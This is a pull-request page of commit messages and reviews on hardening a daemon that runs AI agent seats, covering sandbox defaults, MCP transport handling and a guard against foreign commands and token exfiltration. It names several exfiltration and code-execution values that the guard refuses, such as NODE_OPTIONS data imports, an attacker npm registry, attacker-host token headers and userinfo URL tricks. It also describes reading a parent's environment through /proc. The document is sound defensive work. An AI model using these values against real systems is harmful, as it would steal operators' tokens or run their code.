…andbox baseline (TASK-052) + refuse an unread trust value (TASK-059) (#1754) * fix(cli): a daemon-provisioned seat is never born unconfined (TASK-052) The self-serve install ships no environment, the daemon projected that verbatim, and the seat spawned with no sandbox — `sandbox.mode` defaults to 'none' in the adapters, so an absent block means NO confinement while the seat takes instructions from everyone in the room (C4-6). The c4 smoke seat had to be hand-confined through a row PATCH. The baseline is now both halves: the kernel MCP server (TASK-048, #1741) and an enforced sandbox. The stored block is `sandbox: { trust: 'public' }` and carries NO mode, because the record is platform-independent and the host is not — `mode: 'workspace'` is Seatbelt on macOS and is refused on Linux, `mode: 'bwrap'` is meaningless on macOS, so either one moves a host fact into the database and breaks the day the seat is re-homed (Wren 69545). The mode is resolved at spawn instead, in cli/src/lib/sandbox/mode.js: darwin → 'workspace' (Seatbelt), else → 'bwrap'; an explicit mode in a record still wins. That resolution had to land in the same change, or the baseline would be worse than the hole it closes. Measured on main: `{ trust: 'public' }` with no mode did NOT engage anything — `publicNativeSandbox` required a mode in {workspace, read-only} and the "public requires an enforced mode" throw only fired on the literal 'none', so an absent mode fell straight through to a bare, unconfined `claude` spawn, while the record claimed confinement. So the claude adapter now resolves the mode and REFUSES any public trust that does not end up enforced, and the codex adapter (whose mode is read-vs-write access, not a host mechanism) defaults an absent mode to 'workspace' rather than throwing `got unset` — which would have made every derived codex seat unspawnable. Which environments get it is a trust boundary: environments the daemon DERIVED — a server declaration, or a seat nobody has authored anything for (fresh mint, a record with no environment, the TASK-048 heal path). An operator-authored local environment keeps its own choice: a private-pod record with no sandbox is what `agent attach` permits, and silently confining it would break seats that deliberately run with host reach. `withDefaultSandbox` replaces an explicitly disengaged `mode: 'none'` rather than honouring it, because on this path 'none' and absent are the same thing to the spawn. `assertSandboxDeclaredForPublicPod` now accepts the same shapes the daemon writes (a public trust, or an explicit non-'none' mode), so its own baseline is not a shape it would refuse on a public pod; attach still validates the resolved mode's host mechanism (Seatbelt present / bwrap installed / codex version). Tests: 6 new in default-environment.test.mjs (including "stores NO mode"), 5 in daemon-supervisor.test.mjs, 3 in adapters.claude.environment.test.mjs (mode-less public resolves to Seatbelt on darwin and bwrap elsewhere; an unresolvable explicit mode refuses), 1 in adapters.codex.test.mjs, 2 in public-pod-sandbox-gate.test.mjs. Two merged tests pinned behaviour this change deliberately inverts: the C4-2 baseline assertion from #1741 asserted the mcp-only baseline, and codex's "public trust fails closed when no mode is declared" asserted the throw that would have stopped every derived codex seat. Cli suite 39 suites / 550 passed / 10 skipped; lint:cli clean. Verified on the real writers (real supervisor + real saveAgentToken / loadAgentToken, temp HOME): the self-serve row shape writes {sandbox:{trust: 'public'}, mcp:[commonly], model} and the hand-confined c4-smoke shape is byte-preserved with no rewrite on the next tick. NOT verified by running on a Linux host — the Linux path is asserted with a mocked process.platform plus the adapter's own bwrap branch. Confinement holds for claude and codex. A pi seat gets the block and is NOT confined by it: the pi adapter has no sandbox path until #1740 gives it one, so do not read this key on a pi record as confinement. Cli version 0.1.48 → 0.1.49 (main took 0.1.48 with #1726; Wave's #1744 slots this in the cli chain). Not a guard: nothing is refused and no seat is stopped — an installed seat gains the confinement on its next daemon tick. Refusing a declared command or a foreign-origin token address is layer 2, Wave's #1744. * fix(cli): the Linux public seat gets the same tool floor as the macOS one (TASK-052) Wren 69586 + Vera 69578, folded in before the PR opens. "public" was one contract implemented twice, and the Linux half was half of it. `buildPublicClaudePolicyArgs` — settings off, permission mode dontAsk, the denied reads and tools, strict MCP config — was only reachable inside the Seatbelt branch, so a derived Linux seat ran inside bwrap with Bash, Write and WebFetch intact and the operator's own Claude settings loaded. The jail bounds the filesystem and the policy bounds the tools; a jail alone is half a floor. Now a public trust that resolves to bwrap gets the same policy args inside the namespace, and a bwrap seat with no public trust still gets only the jail — the policy is the public contract, not a property of wrapping. Asserted both ways. The mechanism is also verified where the mode is chosen: a public seat on a host without bwrap now fails its derivation with an actionable message (`bwrap not found on PATH. Install bubblewrap: ...`) instead of every spawn failing with a bare ENOENT. On macOS it reports the macOS-only message, the same one the wrapper would have thrown later. `ctx._detectBwrap` is a test seam, alongside the existing `_spawnImpl`. Tests: the derived-Linux test now asserts the policy args are inside the namespace, and two cases cover a host with no bwrap (refused, and nothing spawned) and a trust-less bwrap seat (no policy args). cli 39 suites / 553 passed / 10 skipped, lint clean. * fix(cli): a trust value no adapter reads is refused, and a stored one resolves toward confinement (TASK-059) Wren 69585, on Vera's 69592 premise correction, folded into this PR because the runtime half of it IS this PR's resolver: `internal` resolves as `public`, and a public declaration is then confined or refuses to derive. Landing the enum change alone would have made a legacy record *look* public while still falling through to the bare spawn. Two halves: 1. Validation refuses `trust: 'internal'` for new declarations, and the message names what does something — `public`, or omitting the field for your own seat. The value was in ALLOWED_SANDBOX_TRUST and read by no adapter: on the attach path it could only name a mode the platform cannot resolve, and on the daemon path it was silently inert — claude fell through to an unconfined spawn and codex took `--dangerously-bypass-approvals-and-sandbox`. A declaration that reads as "confine me, not as a public agent" meant the opposite of what it said. 2. A record that already carries it is resolved TOWARD confinement (`normalizeSandboxTrust`/`isLegacySandboxTrust` in environment.js), with one line in the spawn log saying what was read and why. On macOS a legacy internal+workspace seat now gets Seatbelt; on Linux that same record refuses to derive rather than running bare, and codex gets the public permission profile instead of the bypass flag. Nothing resolves toward the bare spawn. The claude adapter resolves it ONCE at the top of spawn and threads it to both consumers, because my first cut normalized inside the argv builder only, and the seat then died with "public Claude state was not prepared before argv construction" — the state preparation and the argv builder had read the same declaration independently. That is the bug this whole change is about, in miniature. Tests: validation rejects `internal` and accepts `public` or an omitted field; the legacy resolution is unit-tested (and leaves every other declaration, and an absent sandbox block, untouched); claude confines a legacy internal+workspace seat under Seatbelt; codex gives it the public permission profile and never the bypass flag. cli 39 suites / 559 passed / 10 skipped, lint clean. * fix(cli): a pi seat is not handed the sandbox its own adapter refuses (TASK-052) The sandbox half of the daemon baseline was written for every adapter that consumes mcp[] — claude, codex AND pi — because it piggybacked on ADAPTERS_WITH_DEFAULT_MCP. pi cannot enforce a sandbox, and since #1727 `sandbox.trust: 'public'` makes it fail closed BEFORE pi starts (`assertNoSandboxDeclared`, adapters/pi.js). So the default did not merely fail to confine a pi seat: it made every daemon-derived pi seat unspawnable, with `pi adapter: public-trust seats are not supported`. The seat would have been born dead rather than born unconfined, which is the failure that hides best — the daemon writes the record, the spawn throws, and the record looks correct. The predicate was the bug: "consumes mcp[]" is not "can enforce a sandbox". `ADAPTERS_WITH_DEFAULT_SANDBOX` (claude, codex) is now the set the sandbox half uses, so a pi seat gets the mcp half only, exactly as it did before this branch. The stale claim in the doc comment ("a pi seat gets the block and is not confined by it") was the opposite of the truth and is replaced with the mechanism. The C4-2 fixture in daemon-supervisor.test.mjs is a pi row and pinned the buggy both-halves shape; it now asserts the mcp half and runs the derived value through pi's own guard, because the invariant is not "no sandbox key" but "the spec this adapter receives is one this adapter accepts". Mutation-proven: reverting the guard to ADAPTERS_WITH_DEFAULT_MCP reds exactly two tests, the new seatBaseline case and that fixture. cli 39 suites / 567 passed / 10 skipped, lint:cli clean. Residual, stated rather than implied: a derived pi seat still runs unconfined, because refusing it is a policy choice (fail closed, as #1727 does when a sandbox IS declared) and not something this default gets to decide by writing a declaration pi rejects. Raised with the pod rather than settled here.
…ess broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed.
…ess broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed.
…ess broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed.
…des an entry's shape, and a granted pi seat is never given the broker (TASK-054, TASK-063 daemon half) (#1764) * feat(cli): pi adapter connects to Streamable HTTP MCP servers pi ships no MCP support (its README: "No MCP. … build an extension that adds MCP support"), so the bridge in pi-commonly-mcp.mjs is a pi seat's entire transport story. Two independent filters dropped every `environment.mcp` entry that carried a `url` rather than a `command` (pi.js resolveMcpServers, pi-mcp-client.mjs readServers), so such a server reached the seat as nothing at all — no tools, no error. That is exactly the shape of the grant broker: agentBinding.ts grantBrokerServer declares `{ name, transport: 'http', url, headers }` and no command, so a granted pi seat held a grant it could not reach. Adds a minimal Streamable HTTP client beside the stdio one (initialize, tools/list, tools/call, DELETE on close): JSON or SSE answers, the negotiated session id and protocol version echoed on later requests, and the seat's runtime token substituted into `headers` exactly as the stdio path substitutes it into `env`. The token still never reaches argv — it rides in COMMONLY_PI_MCP, which the bridge takes out of its own environment before pi's bash tool can read it (takeServers). Confinement is untouched. Whether a brokered seat SHOULD receive the grant is TASK-063's ruling (refuse vs derive) and this does not settle it; it only stops the entry being silently dropped once that lands. cli 0.1.50 -> 0.1.54, above #1754's 0.1.51, #1761's 0.1.52, #1743's 0.1.53. * fix(cli): a declared MCP transport decides an entry's shape, so a command cannot ride an http entry The daemon's guard classifies a declared server by `transport` and judges only the field that transport needs; the pi and codex adapters classified by which field was PRESENT. An entry declaring `transport: 'http'` whose url is the instance's own therefore passed the guard — its http rule checks only the url origin, and `${COMMONLY_AGENT_TOKEN}` in a command is one of the known placeholders — and was then emitted as a stdio command with the seat's real token substituted: `sh -c` running as the operator (Vera, Connectors 69774). pi.js resolveMcpServers now applies the transport (falling back to the present field only when the declaration names none) and emits exactly one shape per entry, never carrying the unselected field; a transport pi cannot speak is refused with a warning rather than reinterpreted as stdio. pi-mcp-client's isStdioServer/isHttpServer are mutually exclusive and readServers drops a both-field entry, so the last layer before spawn agrees with the first. codex.js skips any entry that did not declare stdio, command or not. cli 0.1.54 -> 0.1.55 * fix(cli): pi reads `transport` exactly as the guard does, and refuses an off-instance http url itself Vera's clearance (Connectors 69776) named what the first commit left open: pi carried a url-only entry with no transport, or with `'HTTP'`, off-instance, and only the guard refused those — and the guard is a separate, unlanded PR. Three fixes, all narrowing, so the adapter no longer depends on a layer that may not be on the machine: - The transport is read exactly as `auditDeclaredMcp` reads it — same field, same `|| 'stdio'` default, same exact string comparison. Normalising `'HTTP'` or `' http '` into a transport the guard calls unknown would run a server the guard refused, which is the disagreement in the unsafe direction. - No presence fallback: an absent transport is judged stdio, so a url-only record with no transport is dropped (the guard refuses it as a stdio entry with no command, so the daemon never adopts it) — with a warning naming it, because the silence was the original defect. - A declared http server is admitted only when its url resolves to the instance's own origin, enforced here as well as in the guard, because the seat token rides its headers. Off-instance, lookalike-host, unparseable, and unknown-instance all fail closed. Six mutations, each reddening exactly its own test, including origin-compared-by- prefix and fail-open-when-instance-unknown. cli suite 549 passed / 10 skipped / 0 failed. * fix(cli): the pi HTTP client sends the negotiated version to a stateless broker, follows no redirect, and stops claiming the env channel is secret Three items from Vera's review of #1764, all measured at this head: - The version header was gated on the session id. Our own broker is stateless (mcpGrants.ts sets `sessionIdGenerator: undefined`), so it never mints one and the only broker a pi seat actually talks to never received the version it had just negotiated. It now follows negotiation, not the session. The fake server could not see this either -- it always answered with a session id -- so it gained a stateless mode, which is the shape production returns. - No redirect is followed. Measured with undici here: a 307 was followed to a second local origin, the Authorization header was stripped (auth: null on the hop, which is why this is not a bearer leak), and the request BODY was forwarded verbatim -- the second origin saw `tools/call` with its arguments and its JSON-RPC answer was accepted as the reply. `redirect: 'error'` closes that, and the test asserts the second origin saw nothing at all. - The claim that the server list is "never left where pi's bash tool could print it" was false and is corrected in all three places it was written. `delete env.COMMONLY_PI_MCP` scrubs Node's copy, not the kernel's, so a same-user child can still read the parent's environment via `ps eww $PPID` or /proc/$PPID/environ. The code comment now states the limit; the durable fix (a 0600 file the bridge unlinks on load) is filed as its own row. Also pins Vera's surviving mutation (a later response overwriting the session id), and narrows the "does not depend on a guard" comment to the http half: a declared stdio command is still executed with no allowlist check here or in either sibling adapter, so that half depends entirely on #1744's stdio rule. Four mutations, each reddening exactly its own test: session-gated version header, overwritable session id, followed redirect, negotiation-before-answer. cli suite 552 passed / 10 skipped / 0 failed. * fix(cli): a granted pi seat is never given the grant broker (TASK-063 daemon-side refusal) * fix(cli): the pi broker refusal states the server's reason string (TASK-063) wren 69829, on the entry-level ruling: "Same reason string on both halves." The daemon warning now carries the server's typed refusal verbatim, so a log line and the grant read's `grantBrokerRefusal` can be read side by side. Mirrored, not imported — the cli package does not depend on the backend — so the literal is pinned by a test: rewording the daemon warning now fails a test instead of quietly drifting from the field a human reads. * fix(cli): the pi broker refusal reads the path the way the router does (TASK-063) Vera measured the hole at 805e92d (69839): isGrantBrokerUrl compared the path case-sensitively while the live API serves the uppercased spelling from the same route, so pi was handed /API/MCP/GRANTS/<id> with the real runtime token attached. The route it mirrors is case-insensitive because express matches paths that way by default. Re-probed the other spellings while fixing it: only case is forgiven — %67rants, //, ./ and GRANTS%2F all 404 on the live API, and a trailing slash is already inside the prefix. * chore(cli): keep the em dash literal in the package description The branch's second commit re-encoded the `description` em dash as the JSON escape `\u2014`. Identical after parse, but it would land as a byte-level change to `cli/package.json` in main for no reason, and it made this PR's patch to that file carry two lines instead of one. Restored to the literal character, so the file's delta against main is the version line alone. Sam 69962 asked for it; Vera 69966 said she would carry a one-line package.json change.
3910bb3 to
c67539f
Compare
…foreign command or ship the seat token off-instance
The daemon projects `AgentInstallation.config.environment` onto the
owner's machine: each declared stdio server is spawned as the operator and
each declared http server receives the seat token wherever the declaration
puts `${COMMONLY_AGENT_TOKEN}`. The registry PATCH that writes that
declaration was pod-member gated (Vera, Connectors 69500), so a plain
member could run a command on the owner's laptop or exfiltrate the token.
The server fix (owner/admin gating) is kai's; this is the daemon's own
layer, so the machine holds even if the server is wrong again.
`declared-mcp-guard.js`, fail-closed:
- stdio: the command must be the shipped commonly MCP server
(`npx -y @commonlyai/mcp@<tag>`) or a command already present in the
local token record — the operator installed those by hand.
- http/sse: a server whose url or headers carry the token placeholder must
resolve (after `${COMMONLY_API_URL}` / `${COMMONLY_INSTANCE_URL}`
expansion) to the instance's own origin. The grant broker passes;
anything else keeps the token. A server without the placeholder may
point anywhere.
The supervisor audits at both adoption points — an existing token being
updated and a first mint — and on refusal keeps the current seat (or
skips the mint), logging one line per refused server. It never adopts a
partial environment.
Tests: 10 unit cases on the audit (shipped/pinned default, arbitrary
command, operator-installed command, foreign-origin token header, token in
the URL, tokenless http anywhere, same-origin literal and alias, malformed
entries) and three supervisor cases (refused at update, refused at mint,
default + broker adopted as before). Two older fixtures used a made-up
`npx commonly-mcp` command and now use the shipped one.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QoB8EvqzEZEJoKwqFiBvts
…on is refused outright
Vera measured (Connectors 69519) that a placeholder-matching guard is
bypassed: the claude CLI expands `${VAR}` and `${VAR:-default}` in url and
headers from its own environment, so `?t=${COMMONLY_AGENT_TOKEN:-}` is not
the literal placeholder and still becomes the token, and outside the
public sandbox that environment is the operator's — `?k=${GITHUB_TOKEN}`
leaks too. Her listener received the token, the Bearer and a foreign var.
Now: a declared http/sse entry is allowed only when its url, with only the
two instance placeholders resolved and nothing else expanded, parses to
the instance origin — tokenless or not. Any `${` other than the three
known placeholders, anywhere in an entry (url, headers, command, env,
args), is refused before the transport rule runs.
Tests: `:-` in the url (foreign and same-origin), `:-` in a header, a
non-Commonly var in url and header, a `:-` default on the URL placeholder
itself, a foreign expansion in the shipped stdio server's env and args,
and a tokenless off-origin http server (now refused).
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QoB8EvqzEZEJoKwqFiBvts
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QoB8EvqzEZEJoKwqFiBvts
…foreign env is refused
Sprint-review measured (Sharpen 69526/69534) that a command-only rule
admits three payloads on the shipped `npx -y @commonlyai/mcp@latest`:
`NODE_OPTIONS=--import=data:…` (code execution in the npx child),
`npm_config_registry` pointed at an attacker (the package itself comes
from them), and a literal `COMMONLY_API_URL=https://attacker…` (the MCP
server posts the seat token there). None needs a `${` expansion, so the
origin rule never saw them.
Now a declared stdio entry is admitted only when it IS the shipped server
— its command, env limited to the two canonical placeholders at their
canonical values, no args, no cwd — or when its execution shape (command,
args, cwd, env) equals an entry the operator already installed in the
local token record. The refusal names the offending env keys.
Tests: the three payloads plus a literal token, extra args and a cwd on
the shipped command are refused; an installed entry matches only as a
whole (same command with an added NODE_OPTIONS is refused); the shipped
entry with a subset of its env still passes. Two #1741 fixtures declared
shapes the guard now refuses and are moved to admitted ones — a
same-origin broker URL, and a hand-set command that is present in the
local token record — without changing what those tests pin.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01W7WB68pA8L2nkvSqZPx37w
… a url; cli 0.1.55 The adapters classified an mcp entry by which field was present, so an entry with `transport: 'http'`, the instance's own url and a `command` passed the origin check here and ran as stdio in pi/codex with the token substituted (measured on the PR, closed adapter-side in #1764). One entry is one transport: both fields, a url on a stdio entry, or a command on an http/sse entry are refused before any other rule runs. Version 0.1.55: this PR lands after the fleet's ascending chain (#1754 0.1.51 → #1761 0.1.52 → #1743 0.1.53 → #1764 0.1.54). Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W7WB68pA8L2nkvSqZPx37w
…ch the guard admits Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01W7WB68pA8L2nkvSqZPx37w
c67539f to
4e3451f
Compare
lilyshen0722
left a comment
There was a problem hiding this comment.
Stamped at 4e3451f6: measured at c67539f4, carried to this head by an exact line-set match.
- Carry to this head. The +/- lines in
cli/src+cli/__tests__vs merge-base are identical toc67539f4(468 = 468, empty diff both directions). In the rebase window5037f137..dbd52701, main changed exactly one cli file,adapters.codex.test.mjs. Neither suite below touches it. - Carry from the gated
3910bb3a. The same 465 lines plus three new ones: the TASK-065 fixture indaemon-supervisor.test.mjs, nownpx -y @commonlyai/mcp@latestinstead of the made-upnpx commonly-mcp, and its comment. - Measured at
c67539f4, on a freshnpm ci:- BASE 51/51 (daemon-supervisor + declared-mcp-guard).
- M1:
isShippedCommonlyMcpEntry→return true. 4 red, so the guard still discriminates. - M2: supervisor-suite fixtures reverted to the made-up command. 7 red, so Kai's supervisor path reaches the guard and the fixture change was required. Scope limit: the anchor matched 10 fixtures, so M2 proves the path, not the single line.
- RESTORED 51/51, tree clean.
lilyshen0722
left a comment
There was a problem hiding this comment.
Exact-head clearance at 4e3451f6. This replaces my earlier carry stamp on this head: it is measured here, not carried.
Fresh worktree at 4e3451f6, fresh npm ci:
- BASE 51/51 (daemon-supervisor + declared-mcp-guard)
- M1
isShippedCommonlyMcpEntry→return true: 4 red. The guard still discriminates. - M3 reverts only the new TASK-065 fixture line (
daemon-supervisor.test.mjs:358, anchor count 1 on that line) tonpx commonly-mcp: 1 red. That closes my earlier scope limit. The changed test line itself is load-bearing: the supervisor path refuses the made-up command, so the fixture had to name the shipped server. - RESTORED 51/51, tree clean.
The hole (Vera, Connectors 69500 — P0)
PATCH /api/registry/pods/:podId/agents/:namechecked pod membership only and mergedconfig.environment, whichagentBindingprojects to the owner's daemon as the declared spec. The daemon runs every declared stdio server as the operator and hands the seat token to every declared http server carrying${COMMONLY_AGENT_TOKEN}. A plain member could therefore run an arbitrary command on the owner's laptop, or ship the seat token to a host they control.Kai owns the server fix (owner/admin only, typed 403). This PR is layer (2), the daemon side, so the machine holds even when the server is wrong.
What the daemon now refuses
cli/src/lib/declared-mcp-guard.js, fail-closed, audited at both adoption points indaemon-supervisor.js(existing token updated; first mint):npx -y @commonlyai/mcp@<tag>) or a command already present in the local token record (the operator installed it by hand)${COMMONLY_AGENT_TOKEN}in url or headers${COMMONLY_API_URL}/${COMMONLY_INSTANCE_URL}expansion must equal the instance origin; the grant broker (${COMMONLY_API_URL}/api/mcp/grants/…) passesOn refusal the supervisor keeps the current seat (or skips the mint) and logs one line per refused server:
It never adopts a partial environment.
Proof
cli/__tests__/declared-mcp-guard.test.mjs: 10 cases — shipped and pinned default pass; arbitrary command refused by name; an operator-installed command is allowed only when present locally; token header toattacker.test, to a look-alike host, to anhttp://downgrade and to a${COMMONLY_API_URL}@attacker.testuserinfo trick are all refused; token in the URL refused off-origin; tokenless http anywhere passes; same-origin literal and alias pass; malformed entries refused.cli/__tests__/daemon-supervisor.test.mjs: refused at update (no token write, no spawn, log names the server); refused at mint (no mint call); default + grant broker adopted as before. Two older fixtures used a made-upnpx commonly-mcpcommand and now use the shipped one.npm testincli/: 33/33 in the two touched suites;npm run lintclean. (The cross-packagemention-event-types.contracttest needsbackend/node_modulesand is unrelated.)Measured scope on this laptop: the only daemon-supervised seats are
quillandc4-smoke, both in owner-only or our-own-stranger rooms; every other seat is launchd token-file and unreachable by the projection.Not in this PR: an operator allowlist file beyond the local token record. The token record is the operator's own hand-set declaration, which is the allowlist Vera asked for without a second file to drift.
🤖 Generated with Claude Code
https://claude.ai/code/session_01QoB8EvqzEZEJoKwqFiBvts